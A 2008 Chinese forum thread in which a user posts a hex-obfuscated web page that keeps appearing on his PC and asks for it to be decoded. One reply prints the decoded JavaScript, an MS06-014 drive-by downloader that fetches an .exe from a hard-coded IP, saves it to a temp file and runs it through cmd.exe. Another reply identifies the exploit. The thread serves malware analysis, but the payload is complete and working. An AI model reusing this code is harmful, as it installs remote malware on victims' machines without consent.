关于脚本解密高手请进！ - 中国DOS联盟论坛

<html>
<body>
<script language="JavaScript">
function mymid(ss) {
return ss.substring(2);}
</script>
<script language="VBScript">
s="js"
flag_type=s
S="66756E6374696f6E20676E286e29200D0A7b200d0a766172206E756d626572203D204d6174682E72616E646F6D28292"
S=S+"A6E3B2072657475726e20277e746d70272b4D6174682E726f756E64286e756D626572292B272e657865273B200D0a7D"
S=S+"200d0a6C6a3D22687474703a2F2F3231392e3134392e3231312e31352F73732e657865223B0D0a747279200D0a7b206"
S=S+"161613D226f223B0d0a6262623d22626a65223B0d0A7979793D226374223B0d0A6363633d2241646f64223b0d0A6464"
S=S+"643d22622E53747265616D223B0D0a6565653D224d6963726F736F66742E584d4c485454222b2250223b0d0a6767673"
S=S+"D226f223B0d0a6b6b6b3D2270223B0d0A6d6d6d3D2265223B0d0a7373733d226e223b0d0A7661722064663D646F6375"
S=S+"6d656e742E637265617465456c656d656E74286161612b6262622B797979293B200D0a64662E7365744174747269627"
S=S+"574652822636c6173736964222C22636C7369643a42443936433535362D363541332d313144302D393833412D303043"
S=S+"30344643323945333622293b200d0a76617220783D64662E4372656174654F626A656374286565652c2222293B200d0"
S=S+"A76617220533d64662e4372656174654f626A656374286363632B6464642c2222293B200d0a532e747970653D313B20"
S=S+"0d0a782e6f70656e2822474554222c206C6A2C30293b0D0a782E73656E6428293B200D0a6d7a313d676e28313030303"
S=S+"0293b200D0a76617220463d64662E4372656174654f626A6563742822536372697074696e672e46696c655379737465"
S=S+"6D4f626a656374222c2222293b200D0A76617220746d703D462E4765745370656369616C466F6C6465722830293B206"
S=S+"d7A313d20462e4275696c645061746828746D702c6d7A31293b200D0a532E4f70656E28293B0d0a7474743D782e7265"
S=S+"73706f6e7365426f64793b0D0A532e577269746528747474293b200D0a693D323b0d0a532E53617665546f46696c652"
S=S+"86D7A312c69293B20532e436C6f736528293B200d0A76617220513d64662E4372656174654f626A6563742822536865"
S=S+"6C6c2E4170706C69636174696f6E222C2222293B200D0a657870313d462e4275696c645061746828746D702b275C5c7"
S=S+"37973272b2774656D3332272c27636d642e65786527293B200D0A515B225368656C6C45222b22786563757465225d28"
S=S+"657870312C27202f6320272B6D7A312C22222c6767672B6B6b6b2b6D6d6d2b7373732c30293B200D0A7D20636174636"
S=S+"8286929207B20693d313B207D200D0A"
D=""
DO WHILE LEN(S)>1
k="&H"
k=k+ucase(LEFT(S,2))
p=CLng(k)
m=chr(p)
D=D+m
S=mymid(S)
LOOP
if flag_type="html" then
document.write(D)
end if
if flag_type="vbs" then
EXECUTE D
end if
</script>
<script language="javaScript">
if (flag_type=="js") {
var e;
try
{
eval(D);
}
catch(e){}
}
</script>
</body>
</html>

我电脑每次打开都是这个被加密了．望高手帮解密下，谢谢！

第1楼　hazjs	发表于 2008-02-01 16:46
初级用户　发帖 25　积分 60
关于脚本解密高手请进！ <html> <body> <script language="JavaScript"> function mymid(ss) { return ss.substring(2);} </script> <script language="VBScript"> s="js" flag_type=s S="66756E6374696f6E20676E286e29200D0A7b200d0a766172206E756d626572203D204d6174682E72616E646F6D28292" S=S+"A6E3B2072657475726e20277e746d70272b4D6174682E726f756E64286e756D626572292B272e657865273B200D0a7D" S=S+"200d0a6C6a3D22687474703a2F2F3231392e3134392e3231312e31352F73732e657865223B0D0a747279200D0a7b206" S=S+"161613D226f223B0d0a6262623d22626a65223B0d0A7979793D226374223B0d0A6363633d2241646f64223b0d0A6464" S=S+"643d22622E53747265616D223B0D0a6565653D224d6963726F736F66742E584d4c485454222b2250223b0d0a6767673" S=S+"D226f223B0d0a6b6b6b3D2270223B0d0A6d6d6d3D2265223B0d0a7373733d226e223b0d0A7661722064663D646F6375" S=S+"6d656e742E637265617465456c656d656E74286161612b6262622B797979293B200D0a64662E7365744174747269627" S=S+"574652822636c6173736964222C22636C7369643a42443936433535362D363541332d313144302D393833412D303043" S=S+"30344643323945333622293b200d0a76617220783D64662E4372656174654F626A656374286565652c2222293B200d0" S=S+"A76617220533d64662e4372656174654f626A656374286363632B6464642c2222293B200d0a532e747970653D313B20" S=S+"0d0a782e6f70656e2822474554222c206C6A2C30293b0D0a782E73656E6428293B200D0a6d7a313d676e28313030303" S=S+"0293b200D0a76617220463d64662E4372656174654f626A6563742822536372697074696e672e46696c655379737465" S=S+"6D4f626a656374222c2222293b200D0A76617220746d703D462E4765745370656369616C466F6C6465722830293B206" S=S+"d7A313d20462e4275696c645061746828746D702c6d7A31293b200D0a532E4f70656E28293B0d0a7474743D782e7265" S=S+"73706f6e7365426f64793b0D0A532e577269746528747474293b200D0a693D323b0d0a532E53617665546f46696c652" S=S+"86D7A312c69293B20532e436C6f736528293B200d0A76617220513d64662E4372656174654f626A6563742822536865" S=S+"6C6c2E4170706C69636174696f6E222C2222293B200D0a657870313d462e4275696c645061746828746D702b275C5c7" S=S+"37973272b2774656D3332272c27636d642e65786527293B200D0A515B225368656C6C45222b22786563757465225d28" S=S+"657870312C27202f6320272B6D7A312C22222c6767672B6B6b6b2b6D6d6d2b7373732c30293B200D0A7D20636174636" S=S+"8286929207B20693d313B207D200D0A" D="" DO WHILE LEN(S)>1 k="&H" k=k+ucase(LEFT(S,2)) p=CLng(k) m=chr(p) D=D+m S=mymid(S) LOOP if flag_type="html" then document.write(D) end if if flag_type="vbs" then EXECUTE D end if </script> <script language="javaScript"> if (flag_type=="js") { var e; try { eval(D); } catch(e){} } </script> </body> </html> 我电脑每次打开都是这个被加密了．望高手帮解密下，谢谢！

第2楼　hazjs	发表于 2008-02-01 16:59
初级用户　发帖 25　积分 60
这都是用什么加密的啊

第3楼　fastslz	发表于 2008-02-01 17:05
铂金会员　发帖 2,315　积分 5,493　来自上海
没说明运行后什么后果,不敢继续了，禁止http://219.149.211.15/ss.exe应该没事了 function gn(n) { var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe'; } lj="http://219.149.211.15/ss.exe"; try { aaa="o"; bbb="bje"; yyy="ct"; ccc="Adod"; ddd="b.Stream"; eee="Microsoft.XMLHTT"+"P"; ggg="o"; kkk="p"; mmm="e"; sss="n"; var df=document.createElement(aaa+bbb+yyy); df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); var x=df.CreateObject(eee,""); var S=df.CreateObject(ccc+ddd,""); S.type=1; x.open("GET", lj,0); x.send(); mz1=gn(10000); var F=df.CreateObject("Scripting.FileSystemObject",""); var tmp=F.GetSpecialFolder(0); mz1= F.BuildPath(tmp,mz1); S.Open(); ttt=x.responseBody; S.Write(ttt); i=2; S.SaveToFile(mz1,i); S.Close(); var Q=df.CreateObject("Shell.Application",""); exp1=F.BuildPath(tmp+'\\sys'+'tem32','cmd.exe'); Q(exp1,' /c '+mz1,"",ggg+kkk+mmm+sss,0); } catch(i) { i=1; }

第4楼　dikex	发表于 2008-02-01 17:22
高级用户　发帖 366　积分 788
MS06-014网马一个，加密方式明显是16进制ASCII码加密